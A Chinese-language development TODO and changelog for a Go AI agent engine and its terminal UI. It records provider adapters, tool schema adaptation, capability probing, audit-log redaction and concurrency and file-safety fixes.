engine 集成测试 - [x] 🟢 ~~P2: 场景化编排文档(SSH/DB/系统配置三个场景完整示例)~~ (**2026-04-17 拆分为 L952a-d**): 原条目把"自动化 API 文档 / HTTP Swagger / 详细使用教程 / 非编程场景提示词工程"四件本质不同的事混为一条, 导致搁置一年不动. 产品经理反向挑战 "是提示词工程还是文档" + "谁说没有开发者 + Swagger 式自动化" 暴露混同. 拆分后每件事独立优先级: - [x] 🟢 ~~**L952a: Go SDK godoc 自动化文档发布**~~ (P3, 2026-04-17 完成, 重心从 HTML 渲染转到 lint 防腐). **交付**: `core/Makefile` 三目标 (`docs-lint` 钉 staticcheck@v0.7.0 自举跑 ST1000/1020/1021, `docs-serve` 自举跑 pkgsite 本地 HTML, `docs-install` 固定版本装 GOPATH/bin). **清债**: 141 个 ST1000 + 4 个 ST1020 全量清零. 141 个文件顶部描述注释块从 `package` 前整块迁移到后 (Go 惯例对齐, 保留 build tag 位置); 2 个缺 package doc 的包新建 `doc.go` (`pkg/inbox`, `pkg/providers/shared`); 4 个 exported method 注释笔误修 (engine.go `ResultStoreRef/FileHistoryRef/OperationLogRef`, session_snapshot.go `BuildSnapshot`). **反向决策**: 原计划加 CONTRIBUTING 说明被砍, `make help` 自承载操作文档, 零文档熵增. **未做**: CI 集成 (无 CI 平台), GitHub Pages 部署 (要 module 改名到 VCS 路径). go build/vet/test 全量验证 31 个 package 全绿. - [x] 🟡 ~~**L952d: 引擎层可复用 Section 库 (技术工具原语)**~~ (P2, 2026-04-17 完成). **最终交付**: 只做 DB Section, SSH / SystemConfig 经产品经理 5 次反向挑战后确认不做, L952d 结束. - **完成的**: `core/pkg/context/sections/db_ops.go` 60 行提示词 + 37 行 Go 包装 + `db_ops_test.go` 7 个契约测试. 首次导出引擎公共 Section API. 读取数据块按早期方案 GrepTool `head_limit` 策略写成"判断力引导". - **明确不做 SSH / SystemConfig (反向挑战结论)**: - 维度错误: L952 原 TODO 列的 "SSH/DB/系统配置" 三元组本身维度混乱 — SSH 是**动作载体** (远程 shell), 和 DB/系统配置的**操作对象**维度不同. SSH 属于 "运维场景" 下的一个手段, 不和其他两个并列. - SSH 无独立维度: SSH 是 Bash 的远程子集, 应由 "BashOps Section" 或消费层"运维 Bundle" 覆盖, 不独立. - SystemConfig 无独立维度: 是 FileEdit 在 `/etc/*` 上的路径特例, 应由消费层 Bundle 自定义 Section 处理, 引擎不管. - 无工具链背书: 两者都没 L1011-1017 级别的专用工具链在建, Section 里能引用的都是通用工具 (Bash/FileEdit) — 写了也是空心训诫. - 惯性推进识别: "顺着 DB 就推 SSH/SystemConfig" 是 `feedback_evaluate_at_each_step` 反模式典型 — 没有真实驱动力, 只有 TODO 三元组惯性. - **未来新 Section 的判据 (三道闸门, 缺一不可)**: 1. 独立对象维度 (不是别的 Section 的子集) 2. 专用工具链背书 (不是通用工具的特例) 3. 消费层有真实复用场景 - **模板已立**: `core/pkg/context/sections/` 子包 + `DBOps` 导出模式 + 契约测试结构, 后续新 Section (如 NetworkOps / HTTPOps) 按此模板走, 独立立 TODO, 不再受 L952 三元组束缚. #### 引擎层(已就绪,无需再实现) - [x] `tools.DryRunnable` 接口(`pkg/tools/tool.go`) - [x] `tools.Reversible` 接口(`pkg/tools/tool.go`) - [x] `tools.CapabilityProvider` 接口(`pkg/tools/tool.go`) - [x] `security.AuditSink` / `AuditEntry` 接口(`pkg/security/audit.go`) - [x] `permission.Handler` 接口(`pkg/permission/permission.go`) - [x] `engine.Config.AuditSink` 注入点(`pkg/engine/config.go`) #### CLI TUI 消费层(ccm/tui/ - P0+P1 完成, 新功能冻结 2026-04-15) - [x] 🔴 `tui/` 独立模块(go.mod + go.work + glamour/bubbletea/lipgloss) - [x] 🔴 Bubble Tea 主模型 (`app.go`) - 消息列表/工具块/Spinner/输入框/状态栏/覆盖层/思考块 - [x] 🔴 Spinner - 照抄早期方案帧序列(darwin/linux差异,10帧弹跳,80ms) - [x] 🔴 工具块渲染 - 状态图标/Tab展开/折叠/进度描述/摘要 - [x] 🔴 状态栏 - model/cwd/tokens/cost 两端对齐自适应宽度 - [x] 🔴 引擎事件桥接 + Checkpoint 通道 + deny-safe 对话框 - [x] 🔴 权限对话框(黄色边框,y/n)+ Checkpoint 对话框(红色双边框,大写Y) - [x] 🔴 30+ 斜杠命令(help/clear/model/cost/compact/exit/diff/commit/review/plan/status/session/export/rename/files/context/add-dir/fast/effort/theme/skills/mcp/hooks/permissions/config/memory/keybindings/btw/stats/debug/copy/branch/resume/agents) - [x] 🔴 输入历史(↑↓导航,Ctrl+R 搜索覆盖层,draft 暂存) - [x] 🔴 Markdown 渲染(glamour,GFM+代码高亮,快速路径跳过纯文本) - [x] 🔴 思考块(T键展开/折叠,全局切换) - [x] 🔴 ! bash 前缀直接执行(不经过模型) - [x] 🔴 粘贴截断(>10000字符,占位符引用系统) - [x] 🔴 覆盖层系统(模型选择器/历史搜索/帮助/状态/diff/权限/MCP/hooks) - [x] 🔴 ANSI 直通(bash/grep 输出颜色原样透传到终端) - [x] 🔴 非交互模式(-p flag) - [x] 🟢 防闪烁三层修复(streamDirty+SpinnerTick延迟flush + maxLines=500行截断 + viewport.Height*3虚拟渲染) - [x] 🟢 Ctrl+Z 挂起(tea.Suspend,fg 恢复) - [x] 🟡 TurnStartEvent 携带 ContextWindowTokens(引擎下发模型规范,消费者无需硬编码) - [x] 🟢 状态栏 context 进度条(████░░ 45%,绿/黄/红,引擎上报值驱动) - [x] 🟢 Toast 通知系统(3s自动消失,max=3,SpinnerTick清理) - [x] 🟢 Edit/Write工具块 inline diff(LCS行级,+N -N,最多30行,自动折叠context) - [x] 🟢 Shift+Up 复制最近助手回复到输入框 - [x] 🟢 /doctor 环境诊断(API Key/工具/目录/剪贴板/模型信息) - [x] 🟡 Session.Send 支持 RunOption(P1 - 运行时模型切换/checkpoint handler, 2026-04-15 完成: 签名加 opts ...RunOption, caller opts 在前 Session history 在后覆盖, 3 个单测 + daemon/platform server 0-arg 向后兼容) #### agent-engine CLI 修复(2026-04-08 发现) - [x] 🟢 `--include-thinking` flag:json/stream-json 默认不输出 thinking,显式加 flag 才输出(2026-04-08) - [x] 🟢 `--json-schema` 跨 Provider 路径接通:flyto.ResponseFormat.JSONSchema + buildFlytoRequest + OpenAI wrapper + MiniMax Anthropic 模式 AdaptSchema(2026-04-08) - [x] 🟢 Provider schema 适配补全:ollama/lmstudio 补 CheckToolCount+DereferenceSchema+AdaptSchema+ResponseFormat;minimax streamOpenAI + openrouter 补 AdaptSchema(2026-04-08) - [x] 🟢 Gemini provider `NeedsThinking` 接通:per-request ThinkingBudget + modelSupportsThinking() 检查(2026-04-08) - [x] 🟢 Gemini `ResponseFormat` 接通:geminiGenConfig 加 responseMimeType/responseSchema + Tools $ref 展开 + 6 个单元测试(2026-04-08) #### 消费层集成测试(2026-04-08 立项) - [x] 🟡 `tui/agent-engine/` os/exec 集成测试(8 个测试,2026-04-08) - [x] 🟢 `tools/capability-probe/` 集成测试(P2, 与 CAP-4 合并推进) - **2026-04-16 完成**: CAP-4 JSON 输出(L1167)/持久化(L1169)/交叉验证(L1175) 全部就绪后, 新建 main_test.go 27 个测试: lookupDocumented 命中/未命中/MaxTools; boolCap nil/true/false; intPtr/boolPtr; capToTristate 7 分支(non-probed/bool/float64/nil/string); capToInt 4 分支; capToExhaustive 3 态; isFullyProbed 5 场景(nil/all/partial/empty/six-of-seven); buildModelCapabilities MaxTools 交叉验证 5 场景(match-non-exhaustive/mismatch-exhaustive/match-exhaustive/no-documented/zero-toolcount). 纯逻辑测试, 无 API 调用 ### INF-8.1 pkg/flyto 公共契约包 ✅ - [x] `pkg/flyto/doc.go` - 包定位说明 - [x] `pkg/flyto/engine.go` - Engine 接口 + RunOption(不透明类型) - [x] `pkg/flyto/provider.go` - ModelProvider 接口(纯工厂模式,GCD 非 LCM) - [x] `pkg/flyto/events.go` - 所有事件类型 + UsageEvent(provider→engine 用量汇报) - [x] `pkg/flyto/message.go` - Message/Block/Role 类型 + 便捷构造函数 - [x] `pkg/flyto/tool.go` - Tool 结构体 - [x] `pkg/flyto/observer.go` - EventObserver / MetricObserver / TraceObserver 接口 - [x] `pkg/flyto/errors.go` - ErrorCode / EngineError / WrapError / IsRetryable ### INF-8.2 内部协议适配器 - [x] `internal/wire/openai.go`(原 openai_compat.go,已重命名)- OpenAI Chat Completions SSE 客户端 - 流式文本/Thinking/ToolUse 事件转换 - 工具调用 partial JSON 累积(finish_reason 时统一发出) - mid-stream error 处理(OpenRouter 格式) - FetchOllamaModels / FetchOpenAIModels / FetchOpenRouterModels - ✅ 修复:reasoning_content(o1/o3 字符串)+ reasoning_details(OpenRouter 数组)替代旧 reasoning 字段 - ✅ 新增:completion_tokens_details.reasoning_tokens 字段 - [x] `internal/wire/anthropic.go` - Anthropic Messages API SSE 解析器(独立于 client.go) - 直接产出 flyto.Event(无中间 StreamEvent 类型) - 关键修复:cache tokens 只从 message_start 读取,避免 message_delta 双重计数 - [x] `internal/wire/gemini.go` - Google Gemini SSE 解析器(第三种格式)✅(2026-04-07) - 每块是完整 GenerateContentResponse,thought: true 标记 thinking - functionCall 整体到达(无流式参数拼接),usageMetadata.cachedContentTokenCount - crypto/rand 生成工具调用 ID(Gemini API 不分配 ID) - flytoMessagesToGemini:ToolUseID → ToolName 映射(functionResponse 需要函数名) - 支持 Google AI(API key 查询参数)和 Vertex AI(Bearer token)双认证模式 ### INF-8.3 Provider 工厂实现 ✅ - [x] `pkg/providers/anthropic/` - 包装 internal/transport/client.go,支持 Thinking/Caching - [x] `pkg/providers/minimax/` - 三种模式(Native/OpenAI/Anthropic),默认 Native - [x] `pkg/providers/openai/` - 静态模型表(GPT-4o/4.1/5/o1/o3/o3-mini) - [x] `pkg/providers/openrouter/` - Live 拉取 /api/v1/models,统一 reasoning 参数 - [x] `pkg/providers/ollama/` - 本地 Ollama,Live 拉取 /api/tags - [x] `pkg/providers/lmstudio/` - 本地 LM Studio,Live 拉取 /v1/models ### INF-8.4 SSE 架构重构 ✅(2026-04) - [x] `internal/transport/client.go` 瘦身:删除 SSE 解析代码(parseSSE/handleSSEEvent/sendEvent/sseXxx structs) - client.go 变为纯 HTTP transport;SSE 解析责任完全移至 wire 包 - [x] `internal/transport/stream_guard.go` 泛化:从 api.StreamEvent → flyto.Event - 13 个测试全部更新为 flyto.Event 语义 - [x] `pkg/providers/anthropic/provider.go`:删除 convertStream goroutine(已无需二次转换) - [x] `pkg/providers/minimax/provider.go`:删除 convertAnthropicStream(同上) - [x] `pkg/permission/classifier_ai.go`:事件循环迁移为 flyto.Event 类型断言 - [x] `pkg/engine/engine.go`:主流式循环迁移为 flyto.Event(删除 blocks 状态机 ~100 行) - [x] `pkg/engine/subagent.go`:子 Agent 流式循环同步迁移 ### INF-8.5 待完成(P1) - [x] ✅ `internal/wire/openai.go` 修复(重命名自 openai_compat.go,2026-04-07) - [x] ✅ `internal/wire/gemini.go` - Gemini native SSE 解析器(2026-04-07) - [x] ✅ `pkg/providers/gemini/` - Gemini provider 工厂(Google AI / Vertex AI,2026-04-07) - Google AI Studio(API key)和 Vertex AI(Bearer token)双认证模式 - 静态模型表:Gemini 2.5 Pro/Flash,2.0 Flash,1.5 Pro/Flash/Flash-8B(含 thinking 变体) - [x] ✅ `pkg/engine/engine.go` Config 增加 `Provider flyto.ModelProvider` 字段(2026-04-07) - Provider 非 nil 时通过 flyto.ModelProvider 接口调用;nil 时回退 api.Client(向后兼容) - 新增 buildFlytoRequest / apiMessagesToFlyto / apiToolDefsToFlyto 转换辅助函数 - 转换时跳过 thinking 块(Anthropic 专有,非 Anthropic provider 不支持) - [x] ✅ `pkg/engine/events.go` 改为 pkg/flyto 完整类型别名(2026-04-07) - 解法:将 flyto.Event.eventType() → exported EventType(),解除密封接口限制 - SubAgentEvent/PlanProgressEvent 留在 engine 包,直接实现 flyto.Event(导出方法无包限制) - 4 个测试文件同步更新 eventType() → EventType() - [x] 🟡 ~~P1: flysafe 迁移(从 BaseURL hack → minimax.New(Config{APIKey: "..."}))~~ - **已废弃**(G9-C:Provider 必填,不再需要 BaseURL hack) - **2026-04-14 补打勾**: 原 TODO 末尾作者已标 "已废弃" 但忘记改 checkbox, 本次 audit 粗筛发现并补打勾, 状态同步. #### CAP-1: flyto.Request 意图字段 ✅(2026-04) - [x] `pkg/flyto/provider.go`:Request 加 `NeedsThinking bool` - thinking 是有感知的(消费者主动声明):引擎无法判断业务复杂度,必须由消费者显式开启 - NeedsThinking=true → provider 按模型 SupportsThinking 自动注入 budget(不支持则 silently skip) - 替代方案:<保留 Config 级别配置(ThinkingBudget)> - 否决:无法 per-request 动态控制 - [x] `pkg/flyto/provider.go`:ModelInfo 加 `CachingMinTokens int`(官方文档 + probe 实测) - [x] Caching 改为引擎自动决策(无感知):system 超过 CachingMinTokens 自动注入 cache_control,消费者无需声明 #### CAP-2: Provider 自动 Caching 决策 ✅(2026-04) - [x] `pkg/providers/anthropic/provider.go`:buildRequest 读 NeedsCaching + CachingMinTokens - 估算 system prompt token 数(字符数 / 4 粗估),≥ 阈值自动加 SetSystemBlocks + cache_control - Beta.PromptCaching 自动注入(消费者无需感知 beta header) - [x] `pkg/providers/minimax/provider.go`:Anthropic 兼容模式同步支持 - [x] `pkg/providers/openrouter/provider.go`:SupportsCaching=false 路径直接 skip,无警告 - [x] 测试:system 刚好低于阈值 → 不加 cache_control;超过阈值 → 加;OpenRouter → 不加 #### CAP-3: StructuredOut Provider 自适应 ✅(2026-04) - [x] Anthropic provider:ResponseFormat=json_object → 走 system 引导路径 + markdown fence strip - `wrapFenceStrip` goroutine:包装 channel,在引擎层统一 strip ` ```json...``` `(消费者无需关心) - `stripFences(s string) string`:strip ` ```json\n...\n``` ` 格式 - [x] OpenAI compat:ResponseFormat=json_object 正常透传(已实现,保持) - [x] `pkg/flyto/provider.go`:ResponseFormat 注释补充"Anthropic 路径仅作 system 引导提示" #### CAP-5: Tool Schema $ref 自动展开 ✅(2026-04) - [x] `internal/wire/schema.go`:实现 `DereferenceSchema(schema json.RawMessage) json.RawMessage` - 递归展开所有 `$ref` 引用(仅支持内部 `$defs`,外部 URL $ref 报错) - 结果不含 `$ref`/`$defs` 字段,是完全展开的 inline schema - [x] `pkg/providers/minimax/provider.go`:发送工具前自动调用 DereferenceSchema - [x] `pkg/providers/openrouter/provider.go`:发送工具前自动调用 DereferenceSchema (OpenRouter 自身无问题,但路由到 Gemini 时有 bug;统一处理,无害于其他模型) - [x] 测试:$ref 嵌套引用展开正确;循环 $ref 检测并报错;无 $ref 的 schema 原样返回(6+ 个测试) #### CAP-6: Tool Schema 约束 Provider 适配 ✅(2026-04) - [x] `internal/wire/schema.go`:实现 `AdaptSchema(schema json.RawMessage, provider string) json.RawMessage` - **Anthropic**:移除 minimum/maximum/multipleOf, minLength/maxLength, pattern;minItems > 1 降为 1;裁剪值写入 description - **OpenAI strict**:移除 allOf/not/if/then/else/contains/prefixItems/unevaluatedItems - **MiniMax/OpenRouter/其他**:原样返回(probe 确认全支持) - [x] Anthropic provider buildRequest 调用 AdaptSchema - [x] OpenAI provider Stream 调用 AdaptSchema(保守统一 openai-strict 裁剪) - [x] 测试:Anthropic 路径 min/max 被移除并写入 description;OpenAI strict allOf 被移除;passthrough 验证;minItems 边界;空输入;递归裂剪(8 个测试) #### CAP-7: Tool 数量上限保护 ✅(2026-04) - [x] `pkg/flyto/provider.go`:ModelInfo 加 `MaxTools int`(0=未知/无限制) - [x] 已知值:OpenAI Chat API=128(OpenAPI spec);Anthropic strict=20(官方文档);MiniMax=未找到上限@256(probe) - [x] `internal/wire/CheckToolCount` + 各 provider 接线:发送前检查 `len(tools) > MaxTools` - Anthropic provider:modelMaxTools 函数 + CheckToolCount(strict 模式预留) - MiniMax provider:minimaxMaxTools=0 + CheckToolCount(probe 实测 @256 未发现上限) - OpenRouter provider:MaxTools=0(透传底层,自身无限制) - OpenAI provider:openaiMaxTools=128 常量 + CheckToolCount + 静态表 MaxTools 字段(2026-04) (不静默截断--截断会改变工具集语义;明确报错让消费者决策) - [x] 测试:工具数 ≤ 限制通过;超出限制返回可读错误(wire/tools_test.go 4 个测试 + openai/provider_test.go 3 个测试) #### CAP-8: Schema 复杂度限制保护 ✅(2026-04) - [x] `internal/wire/schema.go`:实现 `ValidateSchemaComplexity(schema json.RawMessage, provider string) error` - OpenAI:嵌套深度 ≤ 10 检测;总属性数 ≤ 5000 检测;enum 值数 ≤ 1000 检测 - 返回 `*SchemaComplexityError`(可 type-assert)含 Dimension/Actual/Limit 结构化字段 - [x] 超出限制时返回可读 error("schema nesting_depth 12 exceeds OpenAI limit of 10") - [x] 其他 provider 限制待 probe 验证后补充(当前非 openai-strict 始终返回 nil) - [x] 测试:嵌套超限/不超限;总属性超限;enum 超限;其他 provider passthrough;边界值(8 个测试) #### CAP-4: 能力探测自动化 🟢 P2 - [x] `tools/capability-probe/main.go`:输出增加结构化 JSON(Markdown 为副产品) - **2026-04-15 审计关闭**: 已实现. `writeJSONReport` (L705-729) 写入 `~/.flyto/capabilities/capabilities.json`, `main()` L562 调用. CapabilityReport 含 SchemaVersion/GeneratedAt/Models, 每个能力有 Value/Source/Exhaustive/Evidence/Note 五字段. Markdown 保留为 human-readable fallback (`printMatrix` L554). - 字段:provider / model / capabilities map / evidence(threshold,cr,rd 原始数字)/ timestamp - [x] 探测结果持久化 - 2026-04-15 完成. 启动时 `loadExistingReport()` 从 `~/.flyto/capabilities/capabilities.json` 加载已有数据; `isFullyProbed()` 检查 7 个可实测字段是否全部 `source=probed`; 全部 probed 的 target 跳过探测 (输出 `⏭ 跳过`), 部分/未 probed 的重新探测. 新增 `--force` flag 忽略缓存全量重跑. 已有数据预加载到 `allCapabilities` map, 新结果覆盖旧数据, 保证 JSON 报告包含所有历史 target. `--dry-run` 也显示 `[cached, skip]` 标记. `capToTristate/capToInt/capToExhaustive` 三个 helper 从 cached Capability 重建 Markdown 矩阵行. (**P2 feature**) - [x] MiniMax 工具数量上限 probe(文档未记录,需实测二分查找) - **2026-04-16 完成**: M2.7-highspeed ≥128 (exhaustive=false, 测到 128 未触顶); M2.7 重跑成功 ≥128, 不再 529. 结合 provider.go 注释 "probed @256 no limit found", MiniMax 大概率无硬上限 - [x] MiniMax JSON Schema 特性支持 probe(enum/nested/array/$ref/数值约束等) - **2026-04-16 完成**: 新增 probeSchemaFeatures() + trySchemaFeature(), 测试 4 项 schema 特性 (enum/nested_object/array/numeric_min_max), $ref 已由 SchemaRef 覆盖. probe() 步骤 8, 前置 ToolUse==tsYes. ModelCapabilities.SchemaFeatures map 持久化到 capabilities.json, 不纳入 isFullyProbed (补充数据). 实测: M2.7-highspeed 4/4 全 ✓; M2.7 因 529 ToolUse=ERR 跳过, 待重跑 - [x] Anthropic/OpenAI 工具数量边界验证(对照官方文档:strict≤20 / ≤128) - **2026-04-15 完成**: documentedInfo 加 MaxTools *int 字段 + intPtr helper; documentedCapabilities 表 OpenAI gpt-4o 填 MaxTools=128 (OpenAPI spec), Anthropic 留 nil (normal mode 无上限, strict≤20 是 schema 约束非工具数); buildCapabilities() 步骤 4 交叉验证: probed exhaustive=true 且 probed!=documented 时写入 ProbeErrors, 所有有文档值的 target 记入 Evidence["documented"]; printMatrix ToolCount 列输出 `N [doc:M]` 格式, mismatch 时附 ⚠ 标记 ### 已修复(本批 5 项) - [x] `session_manager.go:279,393` - Session.closed 数据竞争:改为 `IsClosed()` - [x] `session.go:104` - trackEvents goroutine 泄漏:传入 ctx,select 保护写 outCh - [x] `audit_local.go:83` - Close 前无 fsync:Close 前加 `file.Sync()` - [x] `session_persist.go:225` - sessionID 路径穿越:改用 `filepath.Base(sessionID)` - [x] `worktree.go:79` - git 失败不清理目录:失败时调用 removeWorktree + RemoveAll ### 已修复(Session 生命周期 4 项,2026-04-09) - [x] `session.go` - Close() 无幂等保护:加 `closeOnce sync.Once`,多次调用安全 - [x] `session.go` - Close() 不关闭 pending permission channels:遍历 pendingPermissions 发 false 并清空 map,唤醒所有 WaitForPermission goroutine - [x] `session.go` - trackEvents goroutine 在 session Close() 时无法退出:增加 `done chan struct{}` 字段,Close() 时广播,trackEvents select 增加 `<-s.done` 分支并 drain rawCh - [x] `session.go` - WaitForPermission goroutine 在 session Close() 时无法唤醒:select 增加 `<-s.done` 分支 #### 可靠性 - [x] 🟡 `session_manager.go:381` - autoSave goroutine 静默丢弃错误:改为记录到 stderr 或 observer(P2)✅已修复 - [x] 🟡 `session_manager.go:351` - Close() 不等 cleanupLoop 退出就清空 sessions map:加 channel 同步(P2)✅已修复 - [x] 🟡 `worktree.go:66` - TOCTOU:stat+clean 非原子(实际风险低,branchName 含 UnixNano)(P3)✅已修复(os.Lstat + symlink 分支处理;branchName 改用 crypto/rand 8字节后缀) - [x] 🟢 `file_history.go:305` - 备份写入非原子:WriteFile 中途崩溃留下截断文件,内容寻址 Stat 命中后回滚读到损坏数据(P3)✅已修复(tmp+rename 原子写入,参考 session_snapshot.go) #### 规范化管道 - [x] 🟡 `norm_tool_result_pairing.go` - 多次运行非幂等:合成 tool_result 应检查 Metadata["synthetic"] 跳过(P2)- **2026-04-13 audit 否决**: False positive. 代码已通过阶段 2 基于 ID 的去重集合结构性幂等 (synthetic tool_result 追加后其 ToolUseID 进入 toolResultIDs, 下次 scan 不会再被认为 missing). 不改 production 代码, 但加 `TestToolResultPairing_Idempotent` 锁定 4 种 case 的 Run1→Run2→Run3 不变量防未来回归. commit `7995d22`. - [x] 🟡 `norm_consecutive_role.go:35` - cloneMessage 浅拷贝:Content 中 Input map 共享引用(P3)✅已修复(逐元素深拷贝 Input map) - [x] 🟢 `norm_tool_result_pairing.go` - 阶段3重复扫描 result 构建 allToolUseIDs/allToolResultIDs(P3)✅已修复(直接复用阶段2的 toolUseIDs/toolResultIDs) #### 历史债 / 魔法数字 - [x] 🟢 `session_manager.go:284`,`session_persist.go:274`,`file_history.go:323` - 冒泡排序:改 `sort.Slice`(P3)✅审计后关闭(2026-04-15: 三文件全部已用 sort.Slice, session_persist 注释明确说"早期方案冒泡→改进 sort.Slice") - [x] 🟢 多文件魔法数字 - `64`(buffer),`0700/0600/0755`(权限),`20MB`,`100`(maxSnapshots) → 集中为常量(P3)✅审计后关闭(2026-04-15: 0700/0600 是 Go 惯用八进制比 const 更清晰, 64*1024 buffer 同理, maxSnapshots 是 struct 可配置字段非裸常量) - [x] 🟢 `norm_error_content_strip.go:92` - else 分支死代码(P3)✅已修复(2026-04-09:提前 continue 消除不可达分支) - [x] 🟡 `normalize.go:62` - `AttachmentReorderer` 注释掉,98 行死代码:待上层附件标记设计完成后激活或删除(P2)- **2026-04-13 audit**: 文件已精简到 93 行, AttachmentReorderer 只剩 2 行 trip-wire 注释 (`// &AttachmentReorderer{}` + 说明), 98 行死代码不存在. 2 行保留作为 trip-wire 提醒未来实现附件标记时激活 - [x] 🟢 `worktree.go:117` + `audit_observer.go:117` - `"agent-worktree-"` 前缀两处硬编码 → 共享常量(P3)✅审计后关闭(2026-04-15: worktree.go L32 已是 const worktreeBranchPrefix, audit_observer.go 无此前缀引用) - [x] 🟢 `session_snapshot.go:79` - PartialToolUse 结构体从未填充 → 移除或补全(P3)✅审计后关闭(2026-04-15: L81-84 LEGACY 注释明确说明"为未来逐 block 保存扩展预留", 有意预留不是死代码) - [x] 🟡 `session_persist.go:222` + `session_snapshot.go:149` - `/tmp` 降级路径:改用 `os.UserCacheDir()`(P2)- **2026-04-13 audit**: 两处都已迁移. session_persist.go:223-224 和 session_snapshot.go:149-150 均有注释 "降级:用 cache 目录而非 /tmp" + `os.UserCacheDir()` 调用 #### 抽象设计(需讨论,不直接改) - [x] 🟡 `session.go` - pendingPermissions map+channel 模式:生命周期已修复(closeOnce+done channel),可进一步抽象为 PermissionResolver 类型(P2,可选重构)- **2026-04-13 audit 否决**: TODO 作者自己标了 "(P2, 可选重构)" 和 "生命周期已修复", 是作者的诚实不确定性.audit 5 问确认: (1) pendingPermissions 是 Session 内部实现细节, 消费者通过 WaitForPermission/ResolvePermission 公共 API 交互, 看不到也不需要看到内部结构; (2) 现有代码注释明确说明 race/lifecycle 防御意图 + 两处 delete 幂等 + done channel 广播, session_test.go 有完整覆盖; (3) 抽成 PermissionResolver 只是把 30 行代码搬家, 不解锁任何新能力.与 L1190 同类 cargo cult SRP, 直接否决.详见 handoff §10.15 - [x] 🟡 `file_history.go` - FileHistory 职责过多(备份/回滚/清理/可观测性):拆分为 BackupManager + RollbackExecutor + RetentionPolicy(P2)- **2026-04-13 完成 (换实现)**: TODO 的 "拆成 3 个类" 框架是错的 - RetentionPolicy 已经是独立值对象, Backup 和 Rollback 是同一个"文件历史快照生命周期"概念不应硬拆, 且已有 `memory.Backupper` (1 方法, 写侧) + `tools/builtin.FileHistoryRecorder` (2 方法, 写侧) 两个 precedent 窄接口.**真实缺口**是 consumer-facing 只读查询路径 - `Engine.FileHistoryRef()` 返回具体 `*FileHistory` 具体类型, 消费者无法 mock 测试.**修复**: 新加 `FileHistoryView` 接口 (`CanRollback` + `SnapshotCount`, 只读) + `Engine.FileHistoryView()` 访问器, 保留 `FileHistoryRef()` 向后兼容.3 个新测试全通 (结构化 typing + mock 可插拔 + 真实 FileHistory 接口调用), 14 个原 FileHistory 测试零回归.这是 L1191 之后第二条落地的抽象改进, 同样复用"narrow role interface + 后置/结构化注入"模式.详见 handoff §10.13 - [x] 🟡 `normalizer.go` - Priority 隐式依赖链:改为显式 DependsOn 声明或文档化依赖图(P2)- **2026-04-13 完成 (文档化选项 + 契约测试)**: audit 发现 10 个 built-in normalizer 中只有 3 对真实依赖 (tool_result_pairing→orphan_tool_result / empty_message→whitespace_assistant / structural→consecutive_role / transformation→image_validator).改成完整 DependsOn + 拓扑排序是过度设计 (没有活跃外部消费者).改用**文档化依赖图 + 契约测试**: (1) normalize.go DefaultNormalizePipeline 注释里每个 priority 旁标注依赖原因 + 完整依赖图 + 消费者插入指南; (2) 新 normalize_ordering_contract_test.go 2 个测试 - OrderingContract 锁定精确顺序, DependencyInvariants 锁定 4 条偏序 (允许新增 normalizer 只要保持偏序).未来改 Priority 破坏依赖会立刻 fail CI, 零静默破坏风险.详见 handoff §10.14 - [x] 🟡 `audit_observer.go:138` - `secret_detected:rule_ids` 暴露规则名:只记录 `secret_detected:count=N`(P1 安全)✅已修复 - [x] 🟡 ~~`audit_observer.go:65` - operation_recorded 缺少工具 Input 字段~~ (P2) - **2026-04-17 完成**: 产品经理反向挑战"我们不是有凭据功能了吗?"推翻了原"需要新增 SecretGuard regex 脱敏层"的过度设计, 改为复用现有 `SecretStore.Redact` (CLAUDE.md 原则 10 叠加而非替换). **顺手修真 bug**: 原 `engine.go:3806` 调用 `OperationLog.Record` 时 `OperationEntry.Input` 字段从未赋值, 导致事件 `input_len` 永远为 0 + `audit Extra tool_input_bytes` 永远不写入 (day-1 死代码). 完整改动: (a) `Config.AuditIncludeToolInput bool` (默认 false, 对齐早期方案双 env 才开) + `Config.AuditInputMaxBytes int` (超限截断); (b) `AuditObserver.SetInputAudit(include, maxBytes)` 后置注入 (与 `SetToolRegistry` 同模式, 不扩构造签名); (c) `OperationLog.Record` 事件 payload 加 `tool_input` 字段, 约定调用方必须传已 Redact 的 Input; (d) `engine.go:3782` 建 `inputByID` map + Record 调用点 `redactedInput := effectiveSecrets.Redact(...)` 与 Output 同层入口统一脱敏; (e) `audit_observer.handleOperationRecorded` 根据开关写 `Extra["tool_input"]` + 超 `maxBytes` 时加 `Extra["tool_input_truncated"]="true"`. **新增 5 个测试** (`audit_observer_l1223_test.go`): DefaultOff / EnabledNoTruncation / Truncated / EnabledAtBoundary (边界不截断) / EnabledButNoInputField (防御空值). 全仓 `go test ./...` 零回归 - [x] 🟡 `audit_observer.go:31` - AuditObserver 无接口难测试:抽出 Observer 接口(P2)- **2026-04-13 audit 否决**: False positive. `flyto.EventObserver` 已是接口, `security.AuditSink` 已是接口, `AuditObserver` 正确实现 EventObserver 作为 concrete bridge. 测试通过 fake AuditSink 传入 NewAuditObserver 完全可行 (audit_local_test.go 已证). 再抽一层无实际收益 - [x] 🟡 `audit_observer.go:173` - operationFromTool switch 违反开闭原则:工具注册时声明 Operation(P2)- **2026-04-13 完成**: 加 `Metadata.AuditOperation` 字段 (同 PermissionClass 模式, 工具自描述跨切面语义), AuditObserver 查询 Registry.MetadataFor 优先, fallbackOperationFromTool 作为零回归兜底.22 文件改动: tool.go 新字段 + registry.go MetadataFor + audit_observer.go SetToolRegistry + engine.go wire 注入 + 4 测试 (registry 命中 / 未声明 fallback / nil registry / 未注册工具 fallback) + 20 builtin 工具各自声明 AuditOperation. 详见 handoff §10.12 #### 已修复 - [x] `dream.go:587` - periodicDone 并发 Close() 导致 double-close panic:mu 保护 + 置 nil - [x] `token_budget.go:517` - minInt 死函数(Go 1.18+ 内置 min):已删除 #### 待修复 - [x] 🟡 `dream.go` - `context.Background()` 作为 periodic goroutine 的 rootCtx(parentEngine==nil 时):改为带 cancel 的 ctx(P2)- **2026-04-13 audit**: 已修. dream.go:142-143 `periodicCancel context.CancelFunc`, line 487 `rootCtx, de.periodicCancel = context.WithCancel(context.Background())`, line 598-599 Close 时调用 cancel. 正是 TODO 要求的"带 cancel 的 ctx" - [x] 🟡 `plan_store.go:107` - FilePlanStore WritePlan/ReadPlan 无 I/O 锁,与 MemoryPlanStore 行为不一致(P2)- **2026-04-13 修复**: audit 纠正 TODO 方向--加 sync.Mutex 只能保护同进程, 解决不了跨进程 (daemon 读 + CLI 写) 场景. 真正的修复是 tmp+rename 原子写入, 同时让 L106 撒谎的 "(原子写入)" 注释变真. POSIX 保证同文件系统 rename 原子, Read 永远看到 "某次完整 Write 的结果", 跨进程安全. 